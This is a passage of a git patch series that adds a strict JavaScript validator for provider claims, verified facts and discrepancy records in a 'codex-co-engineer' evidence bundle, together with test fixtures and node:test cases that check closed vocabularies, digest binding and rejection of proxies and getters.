assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, FACT_ALLOWED_KEYS, path); + requiredKeys(input, FACT_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const factKind = assertEnum( + optOwn(input, 'fact_kind'), FACT_KINDS, 'unknown_fact_kind', `${path}.fact_kind`, 'fact kind', + ); + const status = assertEnum( + optOwn(input, 'status'), FACT_STATUSES, 'unknown_status', `${path}.status`, 'fact status', + ); + const code = assertEnum( + optOwn(input, 'code'), FACT_CODES, 'unknown_code', `${path}.code`, 'fact code', + ); + const authority = assertEnum( + optOwn(input, 'authority'), FACT_AUTHORITIES, 'unknown_authority', `${path}.authority`, 'authority', + ); + const method = assertEnum( + optOwn(input, 'method'), FACT_METHODS, 'unknown_method', `${path}.method`, 'method', + ); + if (!compatibleAuthority(factKind, authority, method)) { + fail('unsupported_pairing', `${path}.authority`, + `${path} pairs a fact kind with an authority or method the closed table does not allow.`); + } + const truncated = optOwn(input, 'truncated'); + if (truncated !== true && truncated !== false) { + fail('invalid_type', `${path}.truncated`, `${path}.truncated must be a boolean.`); + } + if (truncated === true && status === 'verified') { + fail('truncated_required_fact', `${path}.status`, + `${path} cannot be verified while truncated is true.`); + } + if (status === 'truncated' && truncated !== true) { + fail('invalid_format', `${path}.truncated`, + `${path}.truncated must be true when status is truncated.`); + } + const payload = parseClosedPayload(input, path, factKind, FACT_PAYLOAD_KEYS); + const values = { + fact_id: assertRecordId(optOwn(input, 'fact_id'), `${path}.fact_id`), + fact_kind: factKind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + subject: assertSubject(optOwn(input, 'subject'), `${path}.subject`), + authority, + method, + input_digest: assertSha256(optOwn(input, 'input_digest'), `${path}.input_digest`), + output_digest: assertSha256(optOwn(input, 'output_digest'), `${path}.output_digest`), + exit_code: (() => { + const exitCode = optOwn(input, 'exit_code'); + if (exitCode === null) return null; + return assertSafeInt(exitCode, `${path}.exit_code`, 0, 255); + })(), + duration_ms: assertSafeInt(optOwn(input, 'duration_ms'), `${path}.duration_ms`, 0, MAX_DURATION_MS), + truncated, + payload, + payload_digest: bindPayloadDigest(input, payload, path), + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(FACT_ALLOWED_KEYS, values); +} + +export function canonicalProviderClaimJsonV1(input, path = 'claim') { + return canonicalJsonStringify(parseProviderClaimV1(input, path)); +} + +export function canonicalVerifiedFactJsonV1(input, path = 'fact') { + return canonicalJsonStringify(parseVerifiedFactV1(input, path)); +} + +export { RunContractV1Error as EvidenceContractV1Error }; +export { ARTIFACT_REF_SCHEMA_ID }; diff --git a/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs new file mode 100644 index 0000000..98498fd --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-evidence-fixtures.mjs @@ -0,0 +1,163 @@ +// Shared fixtures for the W12-P13 EvidenceBundleV1 tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the evidence and artifact modules under test. + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; +import { canonicalJsonStringify } from '../../mcp/v3/identity.mjs'; +import { createHash } from 'node:crypto'; + +export const RUN_ID = 'run-evidence-01'; +export const REQUEST_ID = 'sel-0123456789abcdef0123456789abcdef'; +export const ASSIGNMENT_ID = 'lane-alpha'; +export const PROVIDER = 'dsh'; +export const MODEL = 'stealth/ox-alpha'; +export const BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const HEAD_SHA = 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0'; +export const REPOSITORY_PATH = '/tmp/cce-r1-evidence-repo'; +export const COMMAND_ID = 'unit-tests'; + +export const SHA_REPORT = '11'.repeat(32); +export const SHA_ACCEPT = '22'.repeat(32); +export const SHA_DIFF = '33'.repeat(32); +export const SHA_INPUT = '44'.repeat(32); +export const SHA_OUTPUT = '55'.repeat(32); +export const SHA_PATHSET = '66'.repeat(32); + +export function payloadDigest(payload) { + return createHash('sha256').update(canonicalJsonStringify(payload), 'utf8').digest('hex'); +} + +export function validClaim(overrides = {}) { + const payload = overrides.payload ?? { result: 'pass' }; + const claim = { + claim_id: 'c-tests', + claim_kind: 'tests_passed', + status: 'asserted', + code: 'provider_reported', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + subject: 'unit-tests', + payload, + artifact_digests: [SHA_REPORT], + ...overrides, + }; + if (overrides.payload !== undefined) claim.payload = overrides.payload; + return claim; +} + +export function validModelClaim(overrides = {}) { + return validClaim({ + claim_id: 'c-model', + claim_kind: 'model_used', + sequence: 1, + subject: 'model', + payload: { model: MODEL }, + ...overrides, + }); +} + +export function validFact(overrides = {}) { + const payload = overrides.payload ?? { command_id: COMMAND_ID, result: 'pass' }; + return { + fact_id: 'f-accept', + fact_kind: 'acceptance_results', + status: 'verified', + code: 'host_observed', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + sequence: 0, + subject: 'unit-tests', + authority: 'platform_acceptance_runner', + method: 'approved_command_execution', + input_digest: SHA_INPUT, + output_digest: SHA_OUTPUT, + exit_code: 0, + duration_ms: 1200, + truncated: false, + payload, + artifact_digests: [SHA_ACCEPT], + ...overrides, + }; +} + +export function validGitIdentityFact(overrides = {}) { + return validFact({ + fact_id: 'f-git', + fact_kind: 'git_identity', + sequence: 1, + subject: 'repository', + authority: 'platform_git', + method: 'ancestry_check', + exit_code: null, + payload: { base_sha: BASE_SHA, head_sha: HEAD_SHA }, + artifact_digests: [SHA_DIFF], + ...overrides, + }); +} + +export function validArtifactRef(overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/diff.patch`, + byte_length: 2048, + sha256: SHA_DIFF, + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export function reportRef(overrides = {}) { + return validArtifactRef({ + artifact_kind: 'provider_report', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/report.txt`, + sha256: SHA_REPORT, + ...overrides, + }); +} + +export function acceptanceRef(overrides = {}) { + return validArtifactRef({ + artifact_kind: 'acceptance_output', + relative_path: `runs/${RUN_ID}/${ASSIGNMENT_ID}/accept.json`, + sha256: SHA_ACCEPT, + media_type: 'application/json', + ...overrides, + }); +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs new file mode 100644 index 0000000..f88f57f --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-evidence-bundle.test.mjs @@ -0,0 +1,234 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CLAIM_ALLOWED_KEYS, + CLAIM_KINDS, + CLAIM_REQUIRED_KEYS, + EVIDENCE_BUNDLE_SCHEMA_ID, + EVIDENCE_BUNDLE_VERSION, + FACT_ALLOWED_KEYS, + FACT_KINDS, + FACT_REQUIRED_KEYS, + canonicalProviderClaimJsonV1, + canonicalVerifiedFactJsonV1, + parseProviderClaimV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MODEL, + countingProxy, + payloadDigest, + trapTotal, + validClaim, + validFact, + validGitIdentityFact, + validModelClaim, +} from './fixtures/r1-evidence-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(EVIDENCE_BUNDLE_SCHEMA_ID, 'codex-co-engineer.evidence-bundle.v1'); + assert.equal(EVIDENCE_BUNDLE_VERSION, 1); + assert.equal(EVIDENCE_BUNDLE_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid provider claim parses into a frozen detached snapshot', () => { + const input = validClaim(); + const snapshot = parseProviderClaimV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.payload), true); + assert.equal(Object.isFrozen(snapshot.artifact_digests), true); + assert.equal(snapshot.claim_kind, 'tests_passed'); + assert.equal(snapshot.status, 'asserted'); + assert.equal(snapshot.payload.result, 'pass'); + assert.equal(snapshot.payload_digest, payloadDigest(snapshot.payload)); + input.payload = { result: 'fail' }; + input.subject = 'other'; + assert.equal(snapshot.payload.result, 'pass'); + assert.equal(snapshot.subject, 'unit-tests'); + assert.throws(() => { 'use strict'; snapshot.status = 'unsupported'; }, TypeError); +}); + +test('a valid verified fact carries authority, method, input, output, exit, timing, truncation, and digest', () => { + const snapshot = parseVerifiedFactV1(validFact()); + assert.equal(snapshot.authority, 'platform_acceptance_runner'); + assert.equal(snapshot.method, 'approved_command_execution'); + assert.match(snapshot.input_digest, /^[0-9a-f]{64}$/u); + assert.match(snapshot.output_digest, /^[0-9a-f]{64}$/u); + assert.equal(snapshot.exit_code, 0); + assert.equal(snapshot.duration_ms, 1200); + assert.equal(snapshot.truncated, false); + assert.equal(snapshot.payload_digest, payloadDigest(snapshot.payload)); + assert.equal(snapshot.status, 'verified'); +}); + +test('claims and facts remain distinct closed key worlds', () => { + for (const key of ['authority', 'method', 'input_digest', 'truncated', 'fact_kind']) { + assert.equal(CLAIM_ALLOWED_KEYS.includes(key), false, key); + } + for (const key of ['claim_kind']) { + assert.equal(FACT_ALLOWED_KEYS.includes(key), false, key); + } + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ authority: 'platform_git' })), 'claim.authority').code, + 'unknown_key', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ claim_kind: 'tests_passed' })), 'fact.claim_kind').code, + 'unknown_key', + ); + assert.equal(FACT_KINDS.includes('provider_report'), false); + assert.equal(CLAIM_KINDS.includes('acceptance_results'), false); +}); + +test('canonical claim and fact bytes are independent of object key order', () => { + const claim = validClaim(); + const reordered = {}; + for (const key of Object.keys(claim).reverse()) reordered[key] = claim[key]; + assert.equal(canonicalProviderClaimJsonV1(claim), canonicalProviderClaimJsonV1(reordered)); + + const fact = validFact(); + const factReordered = {}; + for (const key of Object.keys(fact).reverse()) factReordered[key] = fact[key]; + assert.equal(canonicalVerifiedFactJsonV1(fact), canonicalVerifiedFactJsonV1(factReordered)); +}); + +test('supplied payload digests must match the canonical payload and never trust-upgrade', () => { + const claim = validClaim(); + const digest = payloadDigest(claim.payload); + assert.doesNotThrow(() => parseProviderClaimV1({ ...claim, payload_digest: digest })); + assert.equal( + errorOf(() => parseProviderClaimV1({ ...claim, payload_digest: 'ab'.repeat(32) })).code, + 'payload_digest_mismatch', + ); + const parsed = parseProviderClaimV1(claim); + const mutated = JSON.parse(canonicalProviderClaimJsonV1(claim)); + mutated.payload.result = 'fail'; + mutated.payload_digest = parsed.payload_digest; + assert.equal(errorOf(() => parseProviderClaimV1(mutated)).code, 'payload_digest_mismatch'); +}); + +test('every claim and fact kind in the closed vocabularies parses', () => { + const claims = [ + validClaim(), + validModelClaim(), + validClaim({ + claim_id: 'c-head', claim_kind: 'head_reached', subject: 'head', + payload: { sha: 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0' }, + }), + validClaim({ + claim_id: 'c-files', claim_kind: 'files_changed', subject: 'diff', + payload: { path_count: 3 }, + }), + validClaim({ + claim_id: 'c-cmd', claim_kind: 'command_reported', subject: 'unit-tests', + payload: { command_id: 'unit-tests', result: 'pass' }, + }), + ]; + for (const claim of claims) parseProviderClaimV1(claim); + parseVerifiedFactV1(validFact()); + parseVerifiedFactV1(validGitIdentityFact()); + parseVerifiedFactV1(validFact({ + fact_id: 'f-head', fact_kind: 'head_sha', subject: 'head', + authority: 'platform_git', method: 'ancestry_check', exit_code: null, + payload: { sha: 'b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0' }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-diff', fact_kind: 'git_diff', subject: 'diff', + authority: 'platform_git', method: 'scope_match', exit_code: null, + payload: { path_count: 3, path_set_digest: '66'.repeat(32) }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-model', fact_kind: 'model_attested', subject: 'model', + authority: 'independent_provider_query', method: 'independent_model_query', + exit_code: null, payload: { model: MODEL }, + })); + parseVerifiedFactV1(validFact({ + fact_id: 'f-art', fact_kind: 'artifact_integrity', subject: 'artifact', + authority: 'platform_ref_audit', method: 'artifact_digest_compare', + payload: { artifact_sha256: '22'.repeat(32), result: 'match' }, + })); +}); + +test('unknown kinds, statuses, authorities, and pairings fail closed', () => { + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ claim_kind: 'git_diff' }))).code, + 'unknown_claim_kind', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ fact_kind: 'provider_report' }))).code, + 'unknown_fact_kind', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ + fact_kind: 'model_attested', + authority: 'platform_acceptance_runner', + method: 'approved_command_execution', + payload: { model: MODEL }, + }))).code, + 'unsupported_pairing', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ truncated: true, status: 'verified' }))).code, + 'truncated_required_fact', + ); +}); + +test('identity grammars reuse accepted P02 run and assignment ids', () => { + assert.equal( + errorOf(() => parseProviderClaimV1(validClaim({ run_id: 'Run-Evidence' })), 'claim.run_id').code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerifiedFactV1(validFact({ assignment_id: 'Lane-Alpha' })), 'fact.assignment_id').code, + 'invalid_format', + ); +}); + +test('required keys, forbidden classes, and non-finite numbers fail closed', () => { + for (const key of CLAIM_REQUIRED_KEYS) { + const partial = validClaim(); + delete partial[key]; + assert.equal(errorOf(() => parseProviderClaimV1(partial), `claim.${key}`).code, 'missing_key'); + } + for (const key of FACT_REQUIRED_KEYS) { + const partial = validFact(); + delete partial[key]; + assert.equal(errorOf(() => parseVerifiedFactV1(partial), `fact.${key}`).code, 'missing_key'); + } + assert.equal(errorOf(() => parseProviderClaimV1(validClaim({ secret: 'x' }))).code, 'credential_content_denied'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ argv: ['npm', 'test'] }))).code, 'executable_content_denied'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ duration_ms: Number.NaN }))).code, 'invalid_json_value'); + assert.equal(errorOf(() => parseVerifiedFactV1(validFact({ duration_ms: Infinity }))).code, 'invalid_json_value'); + assert.equal(errorOf(() => parseProviderClaimV1(validClaim({ sequence: 1.5 }))).code, 'invalid_type'); +}); + +test('live proxies and accessors are denied without invoking traps or getters', () => { + const { proxy, counts } = countingProxy(validClaim()); + assert.equal(errorOf(() => parseProviderClaimV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + let reads = 0; + const getterClaim = validClaim(); + Object.defineProperty(getterClaim, 'subject', { + enumerable: true, + get() { + reads += 1; + return 'unit-tests'; + }, + }); + assert.equal(errorOf(() => parseProviderClaimV1(getterClaim)).code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); From d8dca96e37f86fbd747f8ee6bbeba3150f9cb5d6 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 05:12:51 +0000 Subject: [PATCH 056/151] feat(evidence): define discrepancy and artifact references Bind mismatch/missing/unverifiable/integrity/security discrepancies to exact claim and fact identities, accept only validated P07 ArtifactRefV1 snapshots, and freeze canonical bundle bytes plus the reserved evidence-bundle.v1 digest. --- .../mcp/v3/evidence-bundle.mjs | 530 +++++++++++++++++- .../test/fixtures/r1-evidence-fixtures.mjs | 36 ++ .../test/r1-evidence-bundle.test.mjs | 150 +++++ 3 files changed, 715 insertions(+), 1 deletion(-) diff --git a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs index bd46631..8b7758b 100644 --- a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs +++ b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs @@ -21,13 +21,14 @@ import { parseArtifactRefV1, } from './artifact-ref.mjs'; import { - capturedDescriptor, capturedFreeze, capturedIncludes, + capturedIsArray, capturedJoin, isKnownProvider, isModelId, knownProvidersJoined, + sortedCapturedKeys, } from './grammar.mjs'; import { IDENTITY_DOMAIN, @@ -408,6 +409,32 @@ function parseOptionalTimestamp(input, path) { return assertTimestamp(optOwn(input, 'recorded_at'), `${path}.recorded_at`); } +function assertEvidenceBounds(value, path) { + let nodes = 0; + const walk = (node, depth, nodePath) => { + nodes += 1; + if (nodes > MAX_EVIDENCE_NODES) { + fail('out_of_range', nodePath, `${path} exceeds ${MAX_EVIDENCE_NODES} evidence nodes.`); + } + if (depth > MAX_EVIDENCE_DEPTH) { + fail('out_of_range', nodePath, + `${nodePath} exceeds the evidence depth cap of ${MAX_EVIDENCE_DEPTH}.`); + } + if (node === null || typeof node !== 'object') return; + if (capturedIsArray(node)) { + for (let index = 0; index < node.length; index += 1) { + walk(node[index], depth + 1, `${nodePath}[${index}]`); + } + return; + } + const keys = sortedCapturedKeys(node); + for (let index = 0; index < keys.length; index += 1) { + walk(node[keys[index]], depth + 1, `${nodePath}.${keys[index]}`); + } + }; + walk(value, 0, path); +} + function parseIdentityPair(input, path) { const runId = optOwn(input, 'run_id'); assertRunId(runId, `${path}.run_id`); @@ -569,5 +596,506 @@ export function canonicalVerifiedFactJsonV1(input, path = 'fact') { return canonicalJsonStringify(parseVerifiedFactV1(input, path)); } +export function parseEvidenceDiscrepancyV1(input, path = 'discrepancy') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, DISCREPANCY_ALLOWED_KEYS, path); + requiredKeys(input, DISCREPANCY_REQUIRED_KEYS, path); + const identity = parseIdentityPair(input, path); + const kind = assertEnum( + optOwn(input, 'discrepancy_kind'), DISCREPANCY_KINDS, + 'unknown_discrepancy_kind', `${path}.discrepancy_kind`, 'discrepancy kind', + ); + const status = assertEnum( + optOwn(input, 'status'), DISCREPANCY_STATUSES, 'unknown_status', `${path}.status`, 'discrepancy status', + ); + const code = assertEnum( + optOwn(input, 'code'), DISCREPANCY_CODES, 'unknown_code', `${path}.code`, 'discrepancy code', + ); + if (KIND_CODES[kind] !== code) { + fail('unsupported_pairing', `${path}.code`, + `${path}.code must be the closed code for its discrepancy kind.`); + } + const claimIds = parseIdList(input, 'claim_ids', path); + const factIds = parseIdList(input, 'fact_ids', path); + if (kind === 'mismatch' && (claimIds.length === 0 || factIds.length === 0)) { + fail('invalid_format', path, + `${path} of kind mismatch must link at least one claim identity and one fact identity.`); + } + if (kind === 'missing' && claimIds.length === 0) { + fail('invalid_format', `${path}.claim_ids`, + `${path} of kind missing must link the claim identity that lacks a fact.`); + } + const values = { + discrepancy_id: assertRecordId(optOwn(input, 'discrepancy_id'), `${path}.discrepancy_id`), + discrepancy_kind: kind, + status, + code, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + sequence: assertSequence(optOwn(input, 'sequence'), `${path}.sequence`), + claim_ids: claimIds, + fact_ids: factIds, + artifact_digests: parseArtifactDigestList(input, path), + }; + const recordedAt = parseOptionalTimestamp(input, path); + if (recordedAt !== undefined) values.recorded_at = recordedAt; + return freezeRecord(DISCREPANCY_ALLOWED_KEYS, values); +} + +function parseRepository(input, path) { + const value = optOwn(input, 'repository'); + assertPlainObject(value, 'invalid_type', path, path); + assertDirectJsonClosure(value, path); + assertAllowedKeys(value, REPOSITORY_ALLOWED_KEYS, path); + requiredKeys(value, REPOSITORY_ALLOWED_KEYS, path); + const repositoryPath = optOwn(value, 'path'); + assertRepositoryPath(repositoryPath, `${path}.path`); + const baseSha = optOwn(value, 'base_sha'); + assertBaseSha(baseSha, `${path}.base_sha`); + return freezeRecord(REPOSITORY_ALLOWED_KEYS, { path: repositoryPath, base_sha: baseSha }); +} + +function parseCandidate(input, path) { + if (!hasOwn(input, 'candidate')) return undefined; + const value = optOwn(input, 'candidate'); + assertPlainObject(value, 'invalid_type', path, path); + assertDirectJsonClosure(value, path); + assertAllowedKeys(value, CANDIDATE_ALLOWED_KEYS, path); + requiredKeys(value, CANDIDATE_ALLOWED_KEYS, path); + const sha = optOwn(value, 'sha'); + if (!isSha40(sha)) { + fail('invalid_format', `${path}.sha`, + `${path}.sha must be an exact immutable 40-character lowercase hex commit SHA.`); + } + return freezeRecord(CANDIDATE_ALLOWED_KEYS, { sha }); +} + +function compareById(left, right, key) { + if (left[key] === right[key]) return 0; + return left[key] < right[key] ? -1 : 1; +} + +function parseRecordList(input, key, path, max, parseOne, idKey) { + const value = optOwn(input, key); + const field = `${path}.${key}`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > max) { + fail('out_of_range', field, `${field} exceeds ${max} entries.`); + } + const snapshots = []; + const seenIds = new Set(); + const seenSequences = new Set(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + assertNotProxy(value[index], entryPath); + const snapshot = parseOne(value[index], entryPath); + if (seenIds.has(snapshot[idKey])) { + fail('duplicate_id', `${entryPath}.${idKey}`, + `${entryPath}.${idKey} repeats an identity; duplicates are denied instead of collapsed.`); + } + if (seenSequences.has(snapshot.sequence)) { + fail('duplicate_sequence', `${entryPath}.sequence`, + `${entryPath}.sequence repeats an injected sequence.`); + } + seenIds.add(snapshot[idKey]); + seenSequences.add(snapshot.sequence); + snapshots.push(snapshot); + } + snapshots.sort((left, right) => compareById(left, right, idKey)); + return capturedFreeze(snapshots); +} + +function parseArtifactSnapshots(input, path, runId, assignmentId) { + const value = optOwn(input, 'artifacts'); + const field = `${path}.artifacts`; + assertNotProxy(value, field); + assertDenseJsonArray(value, field); + if (value.length > MAX_EVIDENCE_ARTIFACT_REFS) { + fail('out_of_range', field, `${field} exceeds ${MAX_EVIDENCE_ARTIFACT_REFS} entries.`); + } + const snapshots = []; + const seenCanonical = new Set(); + const seenSha = new Map(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${field}[${index}]`; + assertNotProxy(value[index], entryPath); + if (typeof value[index] === 'string') { + fail('invalid_type', entryPath, + `${entryPath} must be an exact ${ARTIFACT_REF_SCHEMA_ID} snapshot, not a raw path or URL.`); + } + const snapshot = parseArtifactRefV1(value[index], entryPath); + if (snapshot.run_id !== runId || snapshot.assignment_id !== assignmentId) { + fail('identity_mismatch', entryPath, + `${entryPath} identity does not match the enclosing evidence bundle.`); + } + const canonical = canonicalJsonStringify(snapshot); + if (seenCanonical.has(canonical)) { + fail('duplicate_id', entryPath, + `${entryPath} repeats an identical artifact reference; duplicates are denied instead of collapsed.`); + } + seenCanonical.add(canonical); + const prior = seenSha.get(snapshot.sha256); + if (prior !== undefined && prior !== canonical) { + fail('conflicting_id', entryPath, + `${entryPath} reuses an artifact digest for a different ArtifactRefV1 snapshot.`); + } + seenSha.set(snapshot.sha256, canonical); + snapshots.push(snapshot); + } + snapshots.sort(compareArtifactRefsV1); + return capturedFreeze(snapshots); +} + +function artifactByDigest(artifacts) { + const map = new Map(); + for (let index = 0; index < artifacts.length; index += 1) { + map.set(artifacts[index].sha256, artifacts[index]); + } + return map; +} + +function resolveDigests(digests, artifacts, path, requiredKinds, allowEmpty) { + if (digests.length === 0) { + if (allowEmpty) return; + fail('provider_proof_rejected', `${path}.artifact_digests`, + `${path}.artifact_digests must cite at least one proof artifact.`); + } + let proof = false; + for (let index = 0; index < digests.length; index += 1) { + const digest = digests[index]; + const ref = artifacts.get(digest); + if (ref === undefined) { + fail('identity_mismatch', `${path}.artifact_digests[${index}]`, + `${path}.artifact_digests[${index}] does not resolve to an exact ArtifactRefV1 snapshot.`); + } + if (requiredKinds === 'provider') { + if (!capturedIncludes(PROVIDER_DERIVED_ARTIFACT_KINDS, ref.artifact_kind)) { + fail('provider_proof_rejected', `${path}.artifact_digests[${index}]`, + `${path} claims must cite provider-derived artifacts, never proof artifacts as claims.`); + } + } else if (capturedIncludes(PROOF_ARTIFACT_KINDS, ref.artifact_kind)) { + proof = true; + } + } + if (requiredKinds === 'proof' && !proof) { + fail('provider_proof_rejected', `${path}.artifact_digests`, + `${path} facts cannot be synthesized from provider-derived artifacts alone.`); + } +} + +function claimComparable(claim) { + const kind = claim.claim_kind; + if (kind === 'tests_passed' || kind === 'command_reported') return `result:${claim.payload.result}`; + if (kind === 'head_reached') return `sha:${claim.payload.sha}`; + if (kind === 'model_used') return `model:${claim.payload.model}`; + if (kind === 'files_changed') return `count:${claim.payload.path_count}`; + return ''; +} + +function factComparable(fact) { + const kind = fact.fact_kind; + if (kind === 'acceptance_results') return `result:${fact.payload.result}`; + if (kind === 'head_sha') return `sha:${fact.payload.sha}`; + if (kind === 'git_identity') return `sha:${fact.payload.head_sha}`; + if (kind === 'model_attested') return `model:${fact.payload.model}`; + if (kind === 'git_diff') return `count:${fact.payload.path_count}`; + return ''; +} + +function isSuccessClaim(claim) { + if (claim.status !== 'asserted') return false; + if (claim.claim_kind === 'tests_passed' || claim.claim_kind === 'command_reported') { + return claim.payload.result === 'pass'; + } + return capturedIncludes(['files_changed', 'head_reached', 'model_used'], claim.claim_kind); +} + +function matchingFacts(claim, facts) { + const mapped = CLAIM_FACT_MAP[claim.claim_kind] || []; + const matches = []; + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + if (fact.subject !== claim.subject) continue; + if (!capturedIncludes(mapped, fact.fact_kind)) continue; + matches.push(fact); + } + return matches; +} + +function linkedPair(discrepancy, claimId, factId) { + let hasClaim = false; + let hasFact = false; + for (let index = 0; index < discrepancy.claim_ids.length; index += 1) { + if (discrepancy.claim_ids[index] === claimId) hasClaim = true; + } + for (let index = 0; index < discrepancy.fact_ids.length; index += 1) { + if (discrepancy.fact_ids[index] === factId) hasFact = true; + } + return hasClaim && hasFact; +} + +function assertLinkedIdentities(discrepancies, claims, facts, path) { + const claimIds = new Set(); + const factIds = new Set(); + for (let index = 0; index < claims.length; index += 1) claimIds.add(claims[index].claim_id); + for (let index = 0; index < facts.length; index += 1) factIds.add(facts[index].fact_id); + for (let index = 0; index < discrepancies.length; index += 1) { + const discrepancy = discrepancies[index]; + const field = `${path}.discrepancies`; + for (let c = 0; c < discrepancy.claim_ids.length; c += 1) { + if (!claimIds.has(discrepancy.claim_ids[c])) { + fail('identity_mismatch', `${field}[${index}].claim_ids[${c}]`, + `${field}[${index}].claim_ids[${c}] does not resolve to a claim identity.`); + } + } + for (let f = 0; f < discrepancy.fact_ids.length; f += 1) { + if (!factIds.has(discrepancy.fact_ids[f])) { + fail('identity_mismatch', `${field}[${index}].fact_ids[${f}]`, + `${field}[${index}].fact_ids[${f}] does not resolve to a fact identity.`); + } + } + } +} + +function assertClaimFactLinks(claims, facts, discrepancies, path) { + for (let index = 0; index < claims.length; index += 1) { + const claim = claims[index]; + const matches = matchingFacts(claim, facts); + for (let m = 0; m < matches.length; m += 1) { + const fact = matches[m]; + if (claimComparable(claim) === factComparable(fact)) continue; + let linked = false; + for (let d = 0; d < discrepancies.length; d += 1) { + const discrepancy = discrepancies[d]; + if (discrepancy.discrepancy_kind !== 'mismatch') continue; + if (linkedPair(discrepancy, claim.claim_id, fact.fact_id)) { + linked = true; + break; + } + } + if (!linked) { + fail('invalid_format', path, + `${path} preserves both the claim and the contradicting fact only when a mismatch discrepancy links their identities.`); + } + } + } +} + +function assertIdentityBinding(record, runId, assignmentId, path) { + if (record.run_id !== runId || record.assignment_id !== assignmentId) { + fail('identity_mismatch', path, + `${path} identity drifted from the enclosing evidence bundle.`); + } +} + +function isCompleteVerified(fact) { + return fact.status === 'verified' && fact.truncated === false; +} + +function assertAcceptedState(bundle, path) { + if (!capturedIncludes(ACCEPTED_FINAL_STATES, bundle.final_state)) return; + if (bundle.discrepancies.length > 0) { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot be accepted, verified, or pass while a discrepancy remains recorded.`); + } + let verifiedCount = 0; + for (let index = 0; index < bundle.facts.length; index += 1) { + const fact = bundle.facts[index]; + if (fact.status === 'truncated' || fact.truncated === true) { + fail('truncated_required_fact', `${path}.facts`, + `${path}.final_state requires complete facts; truncated facts cannot justify acceptance.`); + } + if (fact.fact_kind === 'artifact_integrity' && fact.payload.result !== 'match') { + fail('unproven_accepted_state', `${path}.final_state`, + `${path}.final_state cannot pass while an 